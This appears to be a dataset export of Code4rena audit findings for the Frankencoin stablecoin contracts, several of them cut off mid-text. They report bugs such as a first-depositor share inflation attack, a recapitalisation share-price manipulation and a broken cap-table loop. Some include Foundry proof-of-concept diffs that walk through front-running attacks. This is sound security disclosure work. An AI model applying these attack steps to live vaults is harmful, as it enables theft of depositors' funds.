xanoutas/solidity-security-findings huggingface dataset:
[H-04] Share calculation breaks if equity reaches zero
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L268
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247


# Vulnerability details

## Impact

Unless the total shares supply decreases below 1000 following a call to `Equity::restructureCapTable` if equity reaches zero, which is in fact an invariant that should not be broken (see H-03), `Equity::calculateSharesInternal` will be broken. This is due to a division by zero error that will only be resolved if tokens are transferred directly to the contract and not via `transferAndCall`. This affects both the `Equity::calculateShares` view function and the minting of new shares in `Equity::onTokenTransfer` as both use `Equity::calculateSharesInternal`.

## Proof of Concept

Apply the following git diff:

```diff
diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..12ba74d 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -39,6 +39,58 @@ contract GeneralTest is Test {
         bob = new User(zchf);
     }
 
+    function testPoCBrokenShareCalculationAfterZeroEquity() public {
+        Equity equity = Equity(address(zchf.reserve()));
+        assertEq(equity.totalSupply(), 0, Strings.toString(equity.totalSupply()));
+        assertEq(zchf.equity(), 0, Strings.toString(zchf.equity()));
+
+        // mint bob shares
+        uint256 bobAmount = 20_000 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        bob.invest(bobAmount);
+
+        // mint bob excess for use later
+        bobAmount = 1 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+
+        // mint alice shares
+        uint256 aliceAmount = 20_000 ether;
+        alice.obtainFrankencoins(swap, aliceAmount);
+        alice.invest(aliceAmount);
+
+        emit log_named_uint("zchf deposit (alice)", aliceAmount);
+        emit log_named_uint("zchf deposit (bob)", bobAmount);
+        emit log_named_uint("FPS balance (alice)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS balance (bob)", equity.balanceOf(address(bob)));
+        emit log_named_uint("FPS after alice invests", equity.totalSupply());
+
+        // prank minter & notify loss
+        vm.prank(address(hub));
+        zchf.notifyLoss(type(uint96).max);
+
+        // advance past vote anchor period
+        vm.roll(block.number + 90 * 7200 << 24);
+
+        // restructure
+        address[] memory emptyAddresses;
+        address[] memory addresses = new address[](1);
+        addresses[0] = address(alice);
+        bob.restructure(emptyAddresses, addresses);
+
+        emit log_named_uint("FPS balance (alice after restructure)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS balance (bob after restructure)", equity.balanceOf(address(bob)));
+        emit log_named_uint("Equity reserves", zchf.equity());
+        // reserves are zer
[H-03] Recapitalisation resulting in fewer than 1000 shares can result in a share price manipulation attack
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L299-L316
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L268
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L293


# Vulnerability details

## Impact

Due to the issue described in H-02, an inflation attack can be performed during recapitalisation. Burning shares decreases the total supply; however, it doesn't increase equity and so any previous shareholder with > 3% of the votes could call `Equity::restructureCapTable` and wipe arbitrary shares. This includes old delegation since these values are never reset and the beneficiary can still vote.

Assuming a single caller burns the shares of all other shareholders but decides not to recapitalize the reserve, it isn't completely unrealistic to assume that another caller (knowingly or otherwise) decides to deposit the required capital. If this becomes the case, the original caller steal the equity from this deposit by a share price manipulation attack if their share balance is `<= 1000`. This hinges on the total share balance now being below the threshold which means that a new depositor will receive 1000 shares regardless of the value they provide. Hence, the existing sole shareholder can withdraw these funds by redeeming their shares and preventing redemtion of the new caller's shares in the process due to `Equity::calculateProceeds` requiring a minimum supply of 1000 shares at all times. In essence, this invariant can be broken by `Equity::restructureCapTable` and the system can be exploited to steal deposits. The attacker is also able to perform a standard front-running inflation attack to further exacerbate the caller's loss.

## Proof of Concept

Apply the following git diff:

```diff
diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..5854328 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -39,6 +39,73 @@ contract GeneralTest is Test {
         bob = new User(zchf);
     }
 
+    function testPoCRestructure() public {
+        Equity equity = Equity(address(zchf.reserve()));
+        assertEq(equity.totalSupply(), 0, Strings.toString(equity.totalSupply()));
+        assertEq(zchf.equity(), 0, Strings.toString(zchf.equity()));
+
+        // mint bob shares
+        uint256 bobAmount = 20_000 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        bob.invest(bobAmount);
+
+        // mint bob excess for use later
+        bobAmount = 831337 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+
+        // mint alice shares
+        uint256 aliceAmount = 20_000 ether;
+        alice.obtainFrankencoins(swap, aliceAmount);
+        alice.invest(aliceA
[H-01] Equity minting of FPS is susceptible to first deopsitor inflation attack
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247-L248
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L266-L270


# Vulnerability details

## Impact

When issuing shares in return for collateral within what amounts to a tokenised vault, developers must take great care to ensure depositors cannot have their funds stolen through an front-running inflation attack.

`Equity::onTokenTransfer` issues shares based on the existing reserve equity and amount deposited such that the first depositor will receive 1000 FPS. However, a depositor's `Frankencoin::transferAndCall` can be front-run by a malicious first depositor. Following a small deposit, the attacker is able to directly transfer a large balance of ZCHF to the `Equity` contract, increasing the reserves and hence inflating the price per share. The user who was front-run will now receive a highly unfavourable rate and FPS amount out due to rounding which can even result in their complete loss of funds due to lack of zero value validation on the share amount to mint.

The attacker benefits from the user's transaction and can withdraw a large amount of collateral in return for a small amount of shares at the user's expense.

## Proof of Concept

Apply the following git diff:

```diff
diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..bf35b38 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -39,6 +39,62 @@ contract GeneralTest is Test {
         bob = new User(zchf);
     }
 
+    function testPoCShares() public {
+        Equity equity = Equity(address(zchf.reserve()));
+        assertEq(equity.totalSupply(), 0, Strings.toString(equity.totalSupply()));
+        assertEq(zchf.equity(), 0, Strings.toString(zchf.equity()));
+
+        // bob front-runs alice
+        uint256 bobAmount = 1000 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        bob.invest(bobAmount);
+        
+        assertEq(zchf.equity(), bobAmount, Strings.toString(zchf.equity()));
+        assertEq(equity.totalSupply(), bobAmount, Strings.toString(equity.totalSupply()));
+        assertEq(equity.balanceOf(address(bob)), bobAmount, Strings.toString(equity.balanceOf(address(bob))));
+        
+        // bob infaltes the share price by sending tokens directly
+        uint256 equityBefore = zchf.equity();
+        bobAmount = 831337 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        vm.prank(address(bob));
+        zchf.transfer(address(equity), bobAmount);
+        
+        assertEq(zchf.equity(), bobAmount + equityBefore, Strings.toString(zchf.equity()));
+        emit log_named_uint("zchf deposit + transfer (bob)", bobAmount + equityBefore);
+        emit log_named_uint("FPS balance (bob)", equity.balanceOf(address(bob)));
+
+        // alice deposits large amount (but roughly an order of magnitude less
A loop issue in the restructureCapTable() prevents the function from working correctly
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L309


# Vulnerability details

## Impact
## Brief/Intro
The restructureCapTable() has a loop issue that only burns tokens from the first address in the array. Because of this the cap table isn't restructured as intended.

## Explanation
restructureCapTable() is a function in Equity.sol that can be called when the system is at risk and qualified FPS holders want to restructure the system. This function burns FPS tokens from the qualified FPS holders that want to restructure the system. However because the current address in the loop is always set to the first address in the array, this only burns FPS tokens from the first address in the array instead of every single address in the array.  If there is a devastating loss in the system, this function doesnt help resolve the issue

## Impact

The impact of this issue is that the restructureCapTable() function is not functioning as intended. Since the loop always sets the current address to the first address in the array, the function only burns FPS tokens from the first address in the array, while leaving the rest of the addresses untouched. This means that the function is not restructuring the cap table as it should, and the system remains at risk.

## Code
```
function restructureCapTable(address[] calldata helpers, address[] calldata addressesToWipe) public {
       require(zchf.equity() < MINIMUM_EQUITY);
       checkQualified(msg.sender, helpers);
       for (uint256 i = 0; i<addressesToWipe.length; i++){
          address current = addressesToWipe[0];
          _burn(current, balanceOf(current));
       }
}
```


## Recommended Mitigation Steps
Set address current = addressesToWipe[i] so that it burns tokens from all of the addresses
Owner of Denied Position is not able to withdraw collateral until expiry.
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L112
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L263
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L373-L376


# Vulnerability details

Denying a position puts it into perma cooldown state ie. cooldown ends at expiry. It’s impossible to withdraw collateral in the cooldown state. 

## Impact
Locks owner funds until expiry, expiry time is not capped and can be expected to be long. There is no benefit to the owner to set it shorter and be forced to repay the position at an inconvenient time. Hence a high risk exists to lock the collateral semi permanently

## Proof of Concept
Consider owner trying to call `withdrawCollateral` on a denied position
```
    function deny(address[] calldata helpers, string calldata message) public {
        if (block.timestamp >= start) revert TooLate();
        IReserve(zchf.reserve()).checkQualified(msg.sender, helpers);
        cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end
        emit PositionDenied(msg.sender, message);
    }

    function withdrawCollateral(address target, uint256 amount) public onlyOwner noChallenge noCooldown {
        uint256 balance = internalWithdrawCollateral(target, amount);
        checkCollateral(balance, price);
    }

    modifier noCooldown() {
        if (block.timestamp <= cooldown) revert Hot();
        _;
    }


```
1. Successful call all to `deny` will set `cooldown = expiry`
2. Subsequent call to `withdrawCollateral` will be reverted by `noCooldown` modifier

## Tools Used
VS code, Pen and Paper

## Recommended Mitigation Steps
Return the collateral to the owner at the end of `deny`
```
    function deny(address[] calldata helpers, string calldata message) public {
        if (block.timestamp >= start) revert TooLate();
        IReserve(zchf.reserve()).checkQualified(msg.sender, helpers);
        cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end
        internalWithdrawCollateral(owner, IERC20(collateral).balanceOf(address(this)));
        emit PositionDenied(msg.sender, message);
    }
```
Loss of funds when contract interacts having no receive or fall-back function
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L279
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L272


# Vulnerability details

## Impact
The method transfer() is used several times which causes issue for any interacting contract that does not have receive or fallback function in it.
This can cause funds to be transferred to the contract but no means to withdraw or retrieve them.


## Proof of Concept

https://docs.soliditylang.org/en/v0.8.12/contracts.html#receive-ether-function
https://docs.soliditylang.org/en/v0.8.12/contracts.html#fallback-function

## Tools Used
Manual Review

## Recommended Mitigation Steps
Enforcement should be made through Check-Effects-Interactions(CEI) that interaction is only made with an EOA account or address of recipient are taken for transferring funds.
There is no way to deny a minter, which was approved but becomes malicious or hacked, when `block.timestamp > minters[_minter]` is true
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L152-L157


# Vulnerability details

## Impact
The following `Frankencoin.denyMinter` function can be called to deny a suggested minter when `block.timestamp > minters[_minter]` is false. When `block.timestamp > minters[_minter]` becomes true, calling the `Frankencoin.denyMinter` function reverts so the corresponding minter cannot be denied. Moreover, besides the `Frankencoin.denyMinter` function, there is no other function that can be used to deny a minter. Therefore, if a currently approved minter becomes malicious or hacked in the future, there is no way to deny such minter from minting ZCHF tokens when `block.timestamp > minters[_minter]` is true. When this occurs, such minter can mint much ZCHF tokens when it should be prevented from doing so. As a result, the value of the ZCHF token will be much deflated, which would cause significant value losses to the ZCHF token holders.

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L152-L157
```solidity
   function denyMinter(address _minter, address[] calldata _helpers, string calldata _message) override external {
      if (block.timestamp > minters[_minter]) revert TooLate();
      reserve.checkQualified(msg.sender, _helpers);
      delete minters[_minter];
      emit MinterDenied(_minter, _message);
   }
```

## Proof of Concept
The following steps can occur for the described scenario.
1. `block.timestamp > minters[_minter]` is true currently but the corresponding minter, which was previously approved, is hacked.
2. This protocol and users of this protocol all want to deny such minter and prevent it from minting any more ZCHF tokens.
3. However, since calling the `Frankencoin.denyMinter` function reverts at this moment, and there is no other function that can be used to deny a minter, such minter cannot be denied.
4. Such minter is able to mint much ZCHF tokens when it should be prevented from doing so.
5. As a result, the value of the ZCHF token is hugely deflated.

## Tools Used
VSCode

## Recommended Mitigation Steps
A function, which is similar to `Frankencoin.denyMinter` function, that is only callable by the trusted admin or governance can be added for denying a previously approved minter when `block.timestamp > minters[_minter]` is true.
BLOCKS PER DAY IS CALCULATED AND HARDOCODED TO 7200 BLOCKS WHICH ASSUMES AVERAGE BLOCK TIME IS FIXED AT 12 SECONDS
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L59


# Vulnerability details

## Impact

In the `Equity.sol` protocol the `MIN_HOLDING_DURATION` is used in the `Equity.canRedeem()` function, to check whether the given address is allowed to redeem FPS. The redeem is possible if the average holding duration of the given address is greater than or equal to `MIN_HOLDING_DURATION`.

Currently the `MIN_HOLDING_DURATION` is set to be `90 days` and given in blocks as `90*7200`. Hence as it is seen the blocks per day is hardcoded here to be `7200` blocks. 

Hence if the block time changes in the future the `MIN_HOLDING_DURATION` of `90 days` would change.

This will create discrepancy in the locked period of the pool shares of the protocol.
People will lose trust since at times they will not be able to redeem their shares even after 90 days have passed by, and on other times they can redeem the FPS even before the 90 days period has passed.

Hence this breaks a core functionality of the protocol.

## Proof of Concept

Average block time of `ethereum` can change overtime. Hence the blocks per day can also change.

    - Eg : If block time is 15seconds - then blocks per day = 5760 
           The number of days = 90*7200 / 5760 = 112.5 days.
           Locked period is no longer 90 days and now has increased to 112.5 days

    - Eg : If block time is 10 seconds - then blocks per day = 8640
           The number of days = 90*7200 / 8640 = 75 days.
           Locked period is no longer 90 days and now has decreased to 75 days

Following line depicts the code line which hardcodes the number of blocks per day:
```solidity
    uint256 public constant MIN_HOLDING_DURATION = 90*7200 << BLOCK_TIME_RESOLUTION_BITS; // Set to 5 for local testing
```
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L59

## Tools Used
VSCode and Manual Review

## Recommended Mitigation Steps

Rather than declaring `MIN_HOLDING_DURATION` as a `constant` better to configure `MIN_HOLDING_DURATION` as an updatable value. Hence it can be changed accordingly, when the `block time changes` in the future.
Challenger will not be able to get back their collateral if the collateral from the owner's position does not accept zero value transfer
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L268-L276


# Vulnerability details

## Impact

Challenger's collateral will be stuck in contract if collateral does not accept zero value transfer.

## Proof of Concept

Assume that when a position is created, the _initialCollateral is equal to the _minCollateral. This means that the position owner only deposits _initialCollateral amount into the new position created.

MintingHub.sol#openPosition()

```
        IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);
```

Now, we know that there can be more than one challenge occuring at the same time. Let's say 3 challenges occur, position owner has 1 ETH max, and the 3 challengers put up 1 ETH, 1 ETH and 0.5 ETH respectively. launchChallenge will check whether the challenger's collateral size must be more than minimumCollateral and the challenger's size must be more than the collateralBalance inside the position, which is true at the start of the challenge.

```
    function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
        IPosition position = IPosition(_positionAddr);
        IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
        uint256 pos = challenges.length;
        challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
        position.notifyChallengeStarted(_collateralAmount);
        emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
        return pos;
    }
```

```
    function notifyChallengeStarted(uint256 size) external onlyHub {
        // require minimum size, note that collateral balance can be below minimum if it was partially challenged before
        if (size < minimumCollateral && size < collateralBalance()) revert ChallengeTooSmall();
        challengedAmount += size;
    }
```

Assuming challenge has started and the first challenge has passed its challenge duration. The bidders in challenge 1 will get his fair share of collateral from the position owner, and the position will be left with no more collateral.

Now, challenge two finishes. Challenger 2 wants to collect his collateral and he calls end(), which calls position.notifyChallengeSucceeded().

```
        (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
```

In notifyChallengeSucceeded, because _size is greater than colBal, (1 ETH > 0), the _bid will be redimension. However, _bid will equal to 0 because _divD18(_mulD18(_bid, 0), 1ETH) equals to zero. The _size will be equal to colBal. 

Next, internalWithdrawCollateral will be called, with _bidder as the _bidder and _size as 0.

```
        internalWi